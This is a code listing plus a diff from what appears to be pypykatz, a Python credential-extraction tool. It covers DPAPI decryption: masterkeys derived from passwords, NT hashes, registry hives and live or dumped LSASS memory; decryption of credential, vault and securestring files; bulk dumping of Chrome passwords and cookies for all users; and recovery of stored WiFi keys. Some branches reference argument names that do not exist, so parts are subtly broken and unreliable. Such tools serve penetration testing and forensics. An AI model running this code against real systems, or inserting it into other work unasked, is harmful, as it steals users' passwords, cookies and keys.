32 | live_blob_parser = live_dpapi_subparsers.add_parser('blob', help = 'Decrypt raw dpapi blob hex') | |
33 | live_blob_parser.add_argument('blob', help= 'blob string in hex format') | |
34 | ||
35 | live_securestring_parser = live_dpapi_subparsers.add_parser('securestring', help = 'Decrypt securestring hex') | |
36 | live_securestring_parser.add_argument('securestring', help= 'securestring in hex format') | |
37 | ||
38 | live_blobfile_parser = live_dpapi_subparsers.add_parser('blobfile', help = '') | |
39 | live_blobfile_parser.add_argument('blobfile', help= 'Decrypt raw dpapi blob in file') | |
40 | ||
41 | live_securestringfile_parser = live_dpapi_subparsers.add_parser('securestringfile', help = '') | |
42 | live_securestringfile_parser.add_argument('securestringfile', help= 'Decrypt securestring from file') | |
43 | ||
44 | live_wifi_parser = live_dpapi_subparsers.add_parser('wifi', help = '[ADMIN ONLY] Decrypt stored WIFI passwords') | |
45 | live_chrome_parser = live_dpapi_subparsers.add_parser('chrome', help = '[ADMIN ONLY] !TAKES SUPER-LONG! Decrypt all chrome passwords for all users (admin) or for the current user.') | |
46 | ||
47 | ||
48 | live_parser.add_parser('dpapi', help='DPAPI (live) related commands. This will use winAPI to decrypt secrets using the current user context.', parents=[live_subcommand_parser]) | |
49 | ||
50 | ||
51 | #offline | |
52 | prekey_subcommand_parser = argparse.ArgumentParser(add_help=False) | |
53 | dpapi_prekey_subparsers = prekey_subcommand_parser.add_subparsers(help = 'prekey_command') | |
54 | dpapi_prekey_subparsers.required = True | |
55 | dpapi_prekey_subparsers.dest = 'prekey_command' | |
56 | ||
57 | prekey_passwd = dpapi_prekey_subparsers.add_parser('password', help = 'Generate prekeys from password') | |
58 | prekey_passwd.add_argument('sid', help='SID of the user') | |
59 | prekey_passwd.add_argument('password', help='Password of the user') | |
60 | prekey_passwd.add_argument('-o', '--out-file', help= 'Key candidates will be stored in this file. Easier to handle this way in the masterkeyfil command.') | |
61 | ||
62 | prekey_nt = dpapi_prekey_subparsers.add_parser('nt', help = 'Generate prekeys from NT hash') | |
63 | prekey_nt.add_argument('sid', help='SID of the user') | |
64 | prekey_nt.add_argument('nthash', help='NT hash of the user') | |
65 | prekey_nt.add_argument('-o', '--out-file', help= 'Key candidates will be stored in this file. Easier to handle this way in the masterkeyfil command.') | |
66 | ||
67 | prekey_registry = dpapi_prekey_subparsers.add_parser('registry', help = 'Generate prekeys from registry secrets') | |
68 | prekey_registry.add_argument('system', help='SYSTEM hive') | |
69 | prekey_registry.add_argument('sam', help='SAM hive') | |
70 | prekey_registry.add_argument('security', help='SECURITY hive') | |
71 | prekey_registry.add_argument('-o', '--out-file', help= 'Key candidates will be stored in this file. Easier to handle this way in the masterkeyfil command.') | |
72 | ||
73 | ||
74 | dpapi_group = parser.add_parser('dpapi', help='DPAPI (offline) related commands') | |
75 | dpapi_subparsers = dpapi_group.add_subparsers() | |
76 | dpapi_subparsers.required = True | |
77 | dpapi_subparsers.dest = 'dapi_module' | |
78 | ||
79 | dpapi_subparsers.add_parser('prekey', help = 'Prekey generation', parents=[prekey_subcommand_parser]) | |
80 | ||
81 | dpapi_minidump_group = dpapi_subparsers.add_parser('minidump', help='Dump masterkeys and prekeys from minidump file') | |
82 | dpapi_minidump_group.add_argument('minidumpfile', help='path to minidump file') | |
83 | dpapi_minidump_group.add_argument('-o', '--out-file', help= 'Master and Backup keys will be stored in this file. Easier to handle in other commands.') | |
84 | ||
85 | ||
86 | dpapi_masterkey_group = dpapi_subparsers.add_parser('masterkey', help='Decrypt masterkey file') | |
87 | dpapi_masterkey_group.add_argument('masterkeyfile', help='path to masterkey file') | |
88 | dpapi_masterkey_group.add_argument('prekey', help= 'Path to prekey file, which has multiple decryption key candidates') | |
89 | dpapi_masterkey_group.add_argument('-o', '--out-file', help= 'Master and Backup keys will be stored in this file. Easier to handle in other commands.') | |
90 | ||
91 | ||
92 | dpapi_credential_group = dpapi_subparsers.add_parser('credential', help='Decrypt credential file') | |
93 | dpapi_credential_group.add_argument('mkf', help= 'Keyfile generated by the masterkey -o command.') | |
94 | dpapi_credential_group.add_argument('cred', help='path to credential file') | |
95 | ||
96 | dpapi_vcred_group = dpapi_subparsers.add_parser('vcred', help='Decrypt vcred file') | |
97 | dpapi_vcred_group.add_argument('vcred', help='path to vcred file') | |
98 | dpapi_vcred_group.add_argument('--vpolkey', nargs='+', help= 'Key obtained by decrypting the corresponding VPOL file, in hex format. Remember to try both VPOL keys') | |
99 | ||
100 | dpapi_vpol_group = dpapi_subparsers.add_parser('vpol', help='Decrypt vpol file') | |
101 | dpapi_vpol_group.add_argument('mkf', help= 'Keyfile generated by the masterkey -o command.') | |
102 | dpapi_vpol_group.add_argument('vpol', help='path to vpol file') | |
103 | ||
104 | ||
105 | dpapi_securestring_group = dpapi_subparsers.add_parser('securestring', help='Decrypt securestring') | |
106 | dpapi_securestring_group.add_argument('mkf', help= 'Keyfile generated by the masterkey -o command.') | |
107 | dpapi_securestring_group.add_argument('securestring', help='path to securestring file (hex data expected!), or the securestring in hex form') | |
108 | ||
109 | dpapi_blob_group = dpapi_subparsers.add_parser('blob', help='Decrypt blob') | |
110 | dpapi_blob_group.add_argument('mkf', help= 'Keyfile generated by the masterkey -o command.') | |
111 | dpapi_blob_group.add_argument('blob', help='path to blob file (hex data expected!), or the blob in hex form') | |
112 | ||
113 | def execute(self, args): | |
114 | if len(self.keywords) > 0 and args.command in self.keywords: | |
115 | self.run(args) | |
116 | ||
117 | if len(self.live_keywords) > 0 and args.command == 'live' and args.module in self.live_keywords: | |
118 | self.run_live(args) | |
119 | ||
120 | def run(self, args): | |
121 | from pypykatz.dpapi.dpapi import DPAPI | |
122 | ||
123 | dpapi = DPAPI() | |
124 | ||
125 | if args.dapi_module == 'prekey': | |
126 | if args.prekey_command == 'registry': | |
127 | if args.system is None: | |
128 | raise Exception('SYSTEM hive must be specified for registry parsing!') | |
129 | if args.sam is None and args.security is None: | |
130 | raise Exception('Either SAM or SECURITY hive must be supplied for registry parsing! Best to have both.') | |
131 | ||
132 | dpapi.get_prekeys_form_registry_files(args.system, args.security, args.sam) | |
133 | ||
134 | elif args.prekey_command == 'password': | |
135 | if args.sid is None: | |
136 | raise Exception('SID must be specified for generating prekey in this mode') | |
137 | ||
138 | pw = args.password | |
139 | if args.password is None: | |
140 | import getpass | |
141 | pw = getpass.getpass() | |
142 | ||
143 | dpapi.get_prekeys_from_password(args.sid, password = pw) | |
144 | ||
145 | elif args.prekey_command == 'nt': | |
146 | if args.nt is None or args.sid is None: | |
147 | raise Exception('NT hash and SID must be specified for generating prekey in this mode') | |
148 | ||
149 | dpapi.get_prekeys_from_password(args.sid, nt_hash = args.nt) | |
150 | ||
151 | ||
152 | dpapi.dump_pre_keys(args.out_file) | |
153 | ||
154 | ||
155 | elif args.dapi_module == 'minidump': | |
156 | if args.minidumpfile is None: | |
157 | raise Exception('minidump file must be specified for mindiump parsing!') | |
158 | ||
159 | dpapi.get_masterkeys_from_lsass_dump(args.minidumpfile) | |
160 | dpapi.dump_masterkeys(args.out_file) | |
161 | dpapi.dump_pre_keys(args.out_file + '_prekeys') | |
162 | ||
163 | ||
164 | elif args.dapi_module == 'masterkey': | |
165 | if args.key is None and args.prekey is None: | |
166 | raise Exception('Etieher KEY or path to prekey file must be supplied!') | |
167 | ||
168 | if args.prekey: | |
169 | dpapi.load_prekeys(args.prekey) | |
170 | dpapi.decrypt_masterkey_file(args.mkf) | |
171 | ||
172 | if args.key: | |
173 | dpapi.decrypt_masterkey_file(args.mkf, bytes.fromhex(args.key)) | |
174 | ||
175 | if len(dpapi.masterkeys) == 0 and len(dpapi.backupkeys) == 0: | |
176 | print('Failed to decrypt the masterkeyfile!') | |
177 | return | |
178 | ||
179 | dpapi.dump_masterkeys(args.out_file) | |
180 | ||
181 | elif args.dapi_module == 'credential': | |
182 | dpapi.load_masterkeys(args.mkf) | |
183 | cred_blob = dpapi.decrypt_credential_file(args.cred) | |
184 | ||
185 | print(cred_blob.to_text()) | |
186 | ||
187 | elif args.dapi_module == 'vpol': | |
188 | dpapi.load_masterkeys(args.mkf) | |
189 | key1, key2 = dpapi.decrypt_vpol_file(args.vpol) | |
190 | ||
191 | print('VPOL key1: %s' % key1.hex()) | |
192 | print('VPOL key2: %s' % key2.hex()) | |
193 | ||
194 | ||
195 | elif args.dapi_module == 'vcred': | |
196 | if args.vpolkey is None or len(args.vpolkey) == 0: | |
197 | raise Exception('VPOL key bust be specified!') | |
198 | ||
199 | dpapi.vault_keys = [bytes.fromhex(x) for x in args.vpolkey] | |
200 | res = dpapi.decrypt_vcrd_file(args.vcred) | |
201 | for attr in res: | |
202 | for i in range(len(res[attr])): | |
203 | if res[attr][i] is not None: | |
204 | print('AttributeID: %s Key %s' % (attr.id, i)) | |
205 | print(hexdump(res[attr][i])) | |
206 | ||
207 | elif args.dapi_module == 'securestring': | |
208 | dpapi.load_masterkeys(args.mkf) | |
209 | ||
210 | try: | |
211 | bytes.fromhex(args.securestring) | |
212 | except Exception as e: | |
213 | print('Error! %s' %e) | |
214 | dec_sec = dpapi.decrypt_securestring_file(args.securestring) | |
215 | else: | |
216 | dec_sec = dpapi.decrypt_securestring_hex(args.securestring) | |
217 | ||
218 | print('HEX: %s' % dec_sec.hex()) | |
219 | print('STR: %s' % dec_sec.decode('utf-16-le')) | |
220 | ||
221 | elif args.dapi_module == 'blob': | |
222 | dpapi.load_masterkeys(args.mkf) | |
223 | ||
224 | try: | |
225 | bytes.fromhex(args.securestring) | |
226 | except Exception as e: | |
227 | print('Error! %s' %e) | |
228 | dec_sec = dpapi.decrypt_securestring_file(args.securestring) | |
229 | else: | |
230 | dec_sec = dpapi.decrypt_securestring_hex(args.securestring) | |
231 | ||
232 | print('HEX: %s' % dec_sec.hex()) | |
233 | print('STR: %s' % dec_sec.decode('utf-16-le')) | |
234 | ||
235 | ||
236 | ||
237 | def run_live(self, args): | |
238 | if platform.system().lower() != 'windows': | |
239 | raise Exception('Live commands only work on Windows!') | |
240 | ||
241 | from pypykatz.dpapi.dpapi import DPAPI | |
242 | dpapi = DPAPI(use_winapi=True) | |
243 | ||
244 | if args.livedpapicommand == 'keys': | |
245 | from pypykatz.dpapi.dpapi import prepare_dpapi_live | |
246 | ||
247 | dpapi = prepare_dpapi_live(args.method) | |
248 | ||
249 | if args.outfile is not None: | |
250 | dpapi.dump_pre_keys(args.outfile + '_prekeys') | |
251 | dpapi.dump_masterkeys(args.outfile + '_masterkeys') | |
252 | else: | |
253 | dpapi.dump_pre_keys() | |
254 | dpapi.dump_masterkeys() | |
255 | ||
256 | return | |
257 | ||
258 | elif args.livedpapicommand == 'cred': | |
259 | cred_blob = dpapi.decrypt_credential_file(args.credfile) | |
260 | print(cred_blob.to_text()) | |
261 | ||
262 | elif args.livedpapicommand == 'vpol': | |
263 | key1, key2 = dpapi.decrypt_vpol_file(args.vpolfile) | |
264 | print('VPOL key1: %s' % key1.hex()) | |
265 | print('VPOL key2: %s' % key2.hex()) | |
266 | ||
267 | elif args.livedpapicommand == 'vcred': | |
268 | key1, key2 = dpapi.decrypt_vpol_file(args.vpolfile) | |
269 | res = dpapi.decrypt_vcrd_file(args.vcredfile) | |
270 | for attr in res: | |
271 | for i in range(len(res[attr])): | |
272 | if res[attr][i] is not None: | |
273 | print('AttributeID: %s Key %s' % (attr.id, i)) | |
274 | print(hexdump(res[attr][i])) | |
275 | ||
276 | ||
277 | elif args.livedpapicommand == 'securestring': | |
278 | dec_sec = dpapi.decrypt_securestring_hex(args.securestring) | |
279 | print('HEX: %s' % dec_sec.hex()) | |
280 | print('STR: %s' % dec_sec.decode('utf-16-le')) | |
281 | ||
282 | elif args.livedpapicommand == 'securestringfile': | |
283 | data = args.data[0] | |
284 | dec_sec = dpapi.decrypt_securestring_file(data) | |
285 | print('HEX: %s' % dec_sec.hex()) | |
286 | print('STR: %s' % dec_sec.decode('utf-16-le')) | |
287 | ||
288 | elif args.livedpapicommand == 'blob': | |
289 | dec_sec = dpapi.decrypt_securestring_hex(args.blob) | |
290 | print('HEX: %s' % dec_sec.hex()) | |
291 | ||
292 | elif args.livedpapicommand == 'blobfile': | |
293 | dec_sec = dpapi.decrypt_securestring_file(args.blobfile) | |
294 | print('HEX: %s' % dec_sec.hex()) | |
295 | ||
296 | elif args.livedpapicommand == 'chrome': | |
297 | res = dpapi.decrypt_all_chrome_live() | |
298 | for file_path, url, user, password in res['logins']: | |
299 | print('file: %s user: %s pass: %s url: %s' % (file_path, user, password, url)) | |
300 | for file_path, host_key, name, path, value in res['cookies']: | |
301 | print('file: %s host_key: %s name: %s path: %s value: %s' % (file_path, host_key, name, path, value)) | |
302 | ||
303 | elif args.livedpapicommand == 'wifi': | |
304 | for wificonfig in dpapi.decrypt_wifi_live(): | |
305 | print('%s : %s' % (wificonfig['name'], wificonfig['key']))⏎ |
4 | 4 | # |
5 | 5 | |
6 | 6 | import os |
7 | import ntpath | |
7 | 8 | import json |
8 | 9 | import hmac |
9 | 10 | import hashlib |
11 | import glob | |
12 | import sqlite3 | |
13 | import base64 | |
14 | import platform | |
10 | 15 | from hashlib import sha1, pbkdf2_hmac |
16 | import xml.etree.ElementTree as ET | |
11 | 17 | |
12 | 18 | from pypykatz import logger |
13 | 19 | from pypykatz.dpapi.structures.masterkeyfile import MasterKeyFile |
16 | 22 | from pypykatz.dpapi.structures.vault import VAULT_VCRD, VAULT_VPOL, VAULT_VPOL_KEYS |
17 | 23 | |
18 | 24 | from pypykatz.crypto.unified.aes import AES |
25 | from pypykatz.crypto.unified.aesgcm import AES_GCM | |
19 | 26 | from pypykatz.crypto.unified.common import SYMMETRIC_MODE |
20 | 27 | from pypykatz.commons.common import UniversalEncoder |
28 | ||
29 | if platform.system().lower() == 'windows': | |
30 | from pypykatz.commons.winapi.processmanipulator import ProcessManipulator | |
21 | 31 | |
22 | 32 | """ |
23 | 33 | So! DPAPI... |
79 | 89 | """ |
80 | 90 | |
81 | 91 | class DPAPI: |
82 | def __init__(self): | |
83 | #pre-keys | |
84 | self.user_keys = [] | |
85 | self.machine_keys = [] | |
92 | def __init__(self, use_winapi = False): | |
93 | self.use_winapi = use_winapi | |
94 | self.prekeys = {} #keys in bytes format stored in a dict for avoiding dupes | |
86 | 95 | |
87 | 96 | #masterkey, backupkey |
88 | 97 | self.masterkeys = {} #guid -> binary value |
91 | 100 | #since so far I dunno how to match vault-keys to vaults, its a list :( |
92 | 101 | self.vault_keys = [] |
93 | 102 | |
94 | @staticmethod | |
95 | def list_masterkeys(): | |
96 | #logger.debug('Searching for MasterKey files...') | |
97 | #appdata = os.environ.get('APPDATA') | |
98 | #'%APPDATA%\Microsoft\Protect\%SID%' | |
99 | #'%SYSTEMDIR%\Microsoft\Protect' | |
100 | # TODO: implement this | |
101 | pass | |
102 | 103 | |
103 | 104 | def dump_pre_keys(self, filename = None): |
104 | 105 | if filename is None: |
105 | for x in self.user_keys: | |
106 | print(x.hex()) | |
107 | for x in self.machine_keys: | |
106 | for x in self.prekeys: | |
108 | 107 | print(x.hex()) |
109 | 108 | else: |
110 | 109 | with open(filename, 'w', newline = '') as f: |
111 | for x in self.user_keys: | |
110 | for x in self.prekeys: | |
112 | 111 | f.write(x.hex() + '\r\n') |
113 | for x in self.machine_keys: | |
114 | f.write(x.hex() + '\r\n') | |
115 | ||
116 | def load_pre_keys(self, filename): | |
112 | ||
113 | def load_prekeys(self, filename): | |
117 | 114 | with open(filename, 'r') as f: |
118 | 115 | for line in f: |
119 | 116 | line = line.strip() |
120 | self.user_keys.append(bytes.fromhex(line)) | |
117 | self.prekeys[bytes.fromhex(line)] = 1 | |
121 | 118 | |
122 | 119 | def dump_masterkeys(self, filename = None): |
123 | 120 | if filename is None: |
140 | 137 | for guid in data['masterkeys']: |
141 | 138 | self.masterkeys[guid] = bytes.fromhex(data['masterkeys'][guid]) |
142 | 139 | |
143 | print(self.masterkeys) | |
144 | 140 | |
145 | 141 | def get_prekeys_from_password(self, sid, password = None, nt_hash = None): |
146 | 142 | """ |
160 | 156 | nt_hash = bytes.fromhex(nt_hash) |
161 | 157 | key1 = None |
162 | 158 | |
163 | if password: | |
159 | if password or password == '': | |
164 | 160 | md4 = hashlib.new('md4') |
165 | 161 | md4.update(password.encode('utf-16le')) |
166 | 162 | nt_hash = md4.digest() |
174 | 170 | key3 = hmac.new(tmp_key_2, (sid + '\0').encode('utf-16le'), sha1).digest()[:20] |
175 | 171 | |
176 | 172 | if key1 is not None: |
177 | self.user_keys.append(key1) | |
178 | self.user_keys.append(key2) | |
179 | self.user_keys.append(key3) | |
180 | ||
181 | #print(key1.hex(), key2.hex(), key3.hex()) | |
173 | self.prekeys[key1] = 1 | |
174 | self.prekeys[key2] = 1 | |
175 | self.prekeys[key3] = 1 | |
176 | ||
177 | if key1 is not None: | |
178 | logger.debug('Prekey_1 %s %s %s %s' % (sid, password, nt_hash, key1.hex())) | |
179 | logger.debug('Prekey_2 %s %s %s %s' % (sid, password, nt_hash, key2.hex())) | |
180 | logger.debug('Prekey_3 %s %s %s %s' % (sid, password, nt_hash, key3.hex())) | |
181 | ||
182 | 182 | return key1, key2, key3 |
183 | 183 | |
184 | 184 | def __get_registry_secrets(self, lr): |
197 | 197 | if isinstance(secret, LSASecretDPAPI): |
198 | 198 | logger.debug('[DPAPI] Found DPAPI user key in registry! Key: %s' % secret.user_key) |
199 | 199 | logger.debug('[DPAPI] Found DPAPI machine key in registry! Key: %s' % secret.machine_key) |
200 | self.user_keys.append(secret.user_key) | |
200 | self.prekeys[secret.user_key] = 1 | |
201 | 201 | user.append(secret.user_key) |
202 | self.machine_keys.append(secret.machine_key) | |
202 | self.prekeys[secret.machine_key] = 1 | |
203 | 203 | machine.append(secret.machine_key) |
204 | 204 | |
205 | 205 | if lr.sam is not None: |
255 | 255 | else: |
256 | 256 | raise Exception('[DPAPI] Registry parsing failed!') |
257 | 257 | |
258 | def get_all_keys_from_lsass_live(self): | |
259 | """ | |
260 | Parses the live LSASS process and extracts the plaintext masterkeys, and also generates prekeys from all available credentials | |
261 | It does not retun anything, just sets up all key material in the object | |
262 | return: None | |
263 | """ | |
264 | from pypykatz.pypykatz import pypykatz | |
265 | katz = pypykatz.go_live() | |
266 | sids = [katz.logon_sessions[x].sid for x in katz.logon_sessions] | |
267 | for x in katz.logon_sessions: | |
268 | for dc in katz.logon_sessions[x].dpapi_creds: | |
269 | logger.debug('[DPAPI] Got masterkey for GUID %s via live LSASS method' % dc.key_guid) | |
270 | self.masterkeys[dc.key_guid] = bytes.fromhex(dc.masterkey) | |
271 | ||
272 | for package,_,_, nthex, lmhex, shahex, _,_,_, plaintext in katz.logon_sessions[x].to_grep_rows(): | |
273 | if package.lower() == 'dpapi': | |
274 | continue | |
275 | ||
276 | sids = [katz.logon_sessions[x].sid] | |
277 | for sid in sids: | |
278 | if plaintext is not None: | |
279 | self.get_prekeys_from_password(sid, password = plaintext, nt_hash = None) | |
280 | if nthex is not None and len(nthex) == 32: | |
281 | self.get_prekeys_from_password(sid, password = None, nt_hash = nthex) | |
282 | ||
283 | if shahex is not None and len(shahex) == 40: | |
284 | self.prekeys[bytes.fromhex(shahex)] = 1 | |
285 | ||
258 | 286 | def get_masterkeys_from_lsass_live(self): |
259 | 287 | """ |
260 | 288 | Parses the live LSASS process and extracts the plaintext masterkeys |
283 | 311 | for dc in katz.logon_sessions[x].dpapi_creds: |
284 | 312 | logger.debug('[DPAPI] Got masterkey for GUID %s via minidump LSASS method' % dc.key_guid) |
285 | 313 | self.masterkeys[dc.key_guid] = bytes.fromhex(dc.masterkey) |
314 | ||
315 | for package,_,_, nthex, lmhex, shahex, _,_,_, plaintext in katz.logon_sessions[x].to_grep_rows(): | |
316 | if package.lower() == 'dpapi': | |
317 | continue | |
318 | ||
319 | sids = [katz.logon_sessions[x].sid] | |
320 | for sid in sids: | |
321 | if plaintext is not None: | |
322 | self.get_prekeys_from_password(sid, password = plaintext, nt_hash = None) | |
323 | if nthex is not None and len(nthex) == 32: | |
324 | self.get_prekeys_from_password(sid, password = None, nt_hash = nthex) | |
325 | ||
326 | if shahex is not None and len(shahex) == 40: | |
327 | self.prekeys[bytes.fromhex(shahex)] = 1 | |
286 | 328 | |
287 | 329 | return self.masterkeys |
288 | 330 | |
308 | 350 | mks = {} |
309 | 351 | bks = {} |
310 | 352 | if mkf.masterkey is not None: |
311 | for user_key in self.user_keys: | |
312 | dec_key = mkf.masterkey.decrypt(user_key) | |
313 | if dec_key: | |
314 | self.masterkeys[mkf.guid] = dec_key | |
315 | mks[mkf.guid] = dec_key | |
316 | ||
317 | for machine_key in self.machine_keys: | |
318 | dec_key = mkf.masterkey.decrypt(machine_key) | |
319 | if dec_key: | |
320 | self.masterkeys[mkf.guid] = dec_key | |
321 | mks[mkf.guid] = dec_key | |
322 | ||
323 | if key is not None: | |
324 | dec_key = mkf.masterkey.decrypt(key) | |
325 | if dec_key: | |
326 | self.masterkeys[mkf.guid] = dec_key | |
327 | mks[mkf.guid] = dec_key | |
353 | if mkf.guid in self.masterkeys: | |
354 | mks[mkf.guid] = self.masterkeys[mkf.guid] | |
355 | ||
356 | else: | |
357 | for user_key in self.prekeys: | |
358 | dec_key = mkf.masterkey.decrypt(user_key) | |
359 | if dec_key: | |
360 | logger.debug('user key win: %s' % user_key.hex()) | |
361 | self.masterkeys[mkf.guid] = dec_key | |
362 | mks[mkf.guid] = dec_key | |
363 | break | |
364 | ||
365 | if key is not None: | |
366 | dec_key = mkf.masterkey.decrypt(key) | |
367 | if dec_key: | |
368 | self.masterkeys[mkf.guid] = dec_key | |
369 | mks[mkf.guid] = dec_key | |
328 | 370 | |
329 | 371 | if mkf.backupkey is not None: |
330 | for user_key in self.user_keys: | |
331 | dec_key = mkf.backupkey.decrypt(user_key) | |
332 | if dec_key: | |
333 | self.backupkeys[mkf.guid] = dec_key | |
334 | bks[mkf.guid] = dec_key | |
335 | ||
336 | for machine_key in self.machine_keys: | |
337 | dec_key = mkf.backupkey.decrypt(machine_key) | |
338 | if dec_key: | |
339 | self.backupkeys[mkf.guid] = dec_key | |
340 | bks[mkf.guid] = dec_key | |
341 | ||
342 | if key is not None: | |
343 | dec_key = mkf.backupkey.decrypt(key) | |
344 | if dec_key: | |
345 | self.masterkeys[mkf.guid] = dec_key | |
346 | bks[mkf.guid] = dec_key | |
372 | if mkf.guid in self.masterkeys: | |
373 | mks[mkf.guid] = self.masterkeys[mkf.guid] | |
374 | ||
375 | else: | |
376 | for user_key in self.prekeys: | |
377 | dec_key = mkf.backupkey.decrypt(user_key) | |
378 | if dec_key: | |
379 | self.backupkeys[mkf.guid] = dec_key | |
380 | bks[mkf.guid] = dec_key | |
381 | break | |
382 | ||
383 | if key is not None: | |
384 | dec_key = mkf.backupkey.decrypt(key) | |
385 | if dec_key: | |
386 | self.masterkeys[mkf.guid] = dec_key | |
387 | bks[mkf.guid] = dec_key | |
347 | 388 | |
348 | 389 | return mks, bks |
349 | 390 | |
350 | def decrypt_credential_file(self, file_path, key = None): | |
391 | def decrypt_credential_file(self, file_path): | |
351 | 392 | """ |
352 | 393 | Decrypts CredentialFile |
353 | 394 | file_path: path to CredentialFile |
354 | key: raw bytes of the decryption key. If not supplied the function will look for keys already cached in the DPAPI object. | |
355 | 395 | returns: CREDENTIAL_BLOB object |
356 | 396 | """ |
357 | if key is not None: | |
358 | if isinstance(key, str): | |
359 | key = bytes.fromhex(key) | |
360 | 397 | with open(file_path, 'rb') as f: |
361 | return self.decrypt_credential_bytes(f.read(), key = key) | |
362 | ||
363 | def decrypt_credential_bytes(self, data, key = None): | |
398 | return self.decrypt_credential_bytes(f.read()) | |
399 | ||
400 | def decrypt_credential_bytes(self, data): | |
364 | 401 | """ |
365 | 402 | Decrypts CredentialFile bytes |
366 | 403 | CredentialFile holds one DPAPI blob, so the decryption is straightforward, and it also has a known structure for the cleartext. |
367 | 404 | Pay attention that the resulting CREDENTIAL_BLOB strucutre's fields can hold the secrets in wierd filenames like "unknown" |
368 | 405 | |
369 | 406 | data: CredentialFile bytes |
370 | key: raw bytes of the decryption key. If not supplied the function will look for keys already cached in the DPAPI object. | |
371 | 407 | returns: CREDENTIAL_BLOB object |
372 | 408 | """ |
373 | 409 | cred = CredentialFile.from_bytes(data) |
374 | dec_data = self.decrypt_blob(cred.blob, key = key) | |
410 | dec_data = self.decrypt_blob_bytes(cred.data) | |
375 | 411 | cb = CREDENTIAL_BLOB.from_bytes(dec_data) |
376 | 412 | return cb |
377 | 413 | |
398 | 434 | data: DPAPI_BLOB bytes |
399 | 435 | returns: bytes of the cleartext data |
400 | 436 | """ |
437 | if self.use_winapi is True: | |
438 | from pypykatz.dpapi.functiondefs.dpapi import CryptUnprotectData | |
439 | return CryptUnprotectData(data) | |
440 | ||
401 | 441 | blob = DPAPI_BLOB.from_bytes(data) |
442 | logger.debug(str(blob)) | |
402 | 443 | return self.decrypt_blob(blob, key = key) |
403 | 444 | |
404 | def decrypt_vcrd_file(self, file_path, key = None): | |
445 | def decrypt_vcrd_file(self, file_path): | |
405 | 446 | """ |
406 | 447 | Decrypts a VCRD file |
407 | 448 | Location: %APPDATA%\Local\Microsoft\Vault\%GUID%\<>.vcrd |
409 | 450 | file_path: path to the vcrd file |
410 | 451 | returns: dictionary of attrbitues as key, and a list of possible decrypted data |
411 | 452 | """ |
412 | ||
413 | if key is not None: | |
414 | if isinstance(key, str): | |
415 | key = bytes.fromhex(key) | |
416 | ||
417 | 453 | with open(file_path, 'rb') as f: |
418 | return self.decrypt_vcrd_bytes(f.read(), key = key) | |
419 | ||
420 | def decrypt_vcrd_bytes(self, data, key = None): | |
454 | return self.decrypt_vcrd_bytes(f.read()) | |
455 | ||
456 | def decrypt_vcrd_bytes(self, data): | |
421 | 457 | """ |
422 | 458 | Decrypts VCRD file bytes. |
423 | 459 | |
425 | 461 | returns: dictionary of attrbitues as key, and a list of possible decrypted data |
426 | 462 | """ |
427 | 463 | vv = VAULT_VCRD.from_bytes(data) |
428 | return self.decrypt_vcrd(vv, key = key) | |
429 | ||
430 | def decrypt_vcrd(self, vcrd, key = None): | |
464 | return self.decrypt_vcrd(vv) | |
465 | ||
466 | def decrypt_vcrd(self, vcrd): | |
431 | 467 | """ |
432 | 468 | Decrypts the attributes found in a VCRD object, and returns the cleartext data candidates |
433 | 469 | A VCRD file can have a lot of stored credentials inside, most of them with custom data strucutre |
449 | 485 | return cleartext |
450 | 486 | |
451 | 487 | res = {} |
452 | if key is None: | |
453 | for i, key in enumerate(self.vault_keys): | |
454 | for attr in vcrd.attributes: | |
455 | cleartext = decrypt_attr(attr, key) | |
456 | if attr not in res: | |
457 | res[attr] = [] | |
458 | res[attr].append(cleartext) | |
459 | else: | |
488 | for i, key in enumerate(self.vault_keys): | |
460 | 489 | for attr in vcrd.attributes: |
461 | decrypt_attr(attr, key) | |
490 | cleartext = decrypt_attr(attr, key) | |
462 | 491 | if attr not in res: |
463 | 492 | res[attr] = [] |
464 | 493 | res[attr].append(cleartext) |
465 | ||
466 | 494 | return res |
467 | 495 | |
468 | def decrypt_vpol_bytes(self, data, key = None): | |
496 | def decrypt_vpol_bytes(self, data): | |
469 | 497 | """ |
470 | 498 | Decrypts the VPOL file, and returns the two keys' bytes |
471 | 499 | A VPOL file stores two encryption keys. |
474 | 502 | returns touple of bytes, describing two keys |
475 | 503 | """ |
476 | 504 | vpol = VAULT_VPOL.from_bytes(data) |
477 | res = self.decrypt_blob(vpol.blob, key = key) | |
505 | res = self.decrypt_blob_bytes(vpol.blobdata) | |
478 | 506 | |
479 | 507 | keys = VAULT_VPOL_KEYS.from_bytes(res) |
480 | 508 | |
483 | 511 | |
484 | 512 | return keys.key1.get_key(), keys.key2.get_key() |
485 | 513 | |
486 | def decrypt_vpol_file(self, file_path, key = None): | |
514 | def decrypt_vpol_file(self, file_path): | |
487 | 515 | """ |
488 | 516 | Decrypts a VPOL file |
489 | 517 | Location: %APPDATA%\Local\Microsoft\Vault\%GUID%\<>.vpol |
492 | 520 | keys: Optional. |
493 | 521 | returns: touple of bytes, describing two keys |
494 | 522 | """ |
495 | if key is not None: | |
496 | if isinstance(key, str): | |
497 | key = bytes.fromhex(key) | |
498 | 523 | with open(file_path, 'rb') as f: |
499 | return self.decrypt_vpol_bytes(f.read(), key = key) | |
500 | ||
524 | return self.decrypt_vpol_bytes(f.read()) | |
525 | ||
526 | def decrypt_securestring_bytes(self, data): | |
527 | return self.decrypt_blob_bytes(data) | |
528 | ||
529 | def decrypt_securestring_hex(self, hex_str): | |
530 | return self.decrypt_securestring_bytes(bytes.fromhex(hex_str)) | |
531 | ||
532 | def decrypt_securestring_file(self, file_path): | |
533 | with open(file_path, 'r') as f: | |
534 | data = f.read() | |
535 | return self.decrypt_securestring_hex(data) | |
536 | ||
537 | ||
538 | @staticmethod | |
539 | def find_masterkey_files_live(): | |
540 | windows_loc = DPAPI.get_windows_dir_live() | |
541 | user_folder = DPAPI.get_users_dir_live() | |
542 | ||
543 | return DPAPI.find_masterkey_files_offline(user_folder, windows_loc) | |
544 | ||
545 | @staticmethod | |
546 | def find_masterkey_files_offline(users_path, windows_path): | |
547 | def is_guid(fname): | |
548 | if os.path.isfile(filename) is True: | |
549 | base = ntpath.basename(filename) | |
550 | if base.find('-') == -1: | |
551 | return False | |
552 | try: | |
553 | bytes.fromhex(base.replace('-','')) | |
554 | except: | |
555 | return False | |
556 | return True | |
557 | return False | |
558 | ||
559 | masterkey_files = {} | |
560 | for filename in glob.glob(os.path.join(windows_path, "System32","Microsoft","Protect", "**"), recursive = True): | |
561 | if is_guid(filename) is True: | |
562 | logger.debug('GUID SYSTEM FILE: %s' % filename) | |
563 | masterkey_files[ntpath.basename(filename)] = filename | |
564 | ||
565 | user_folders = {} | |
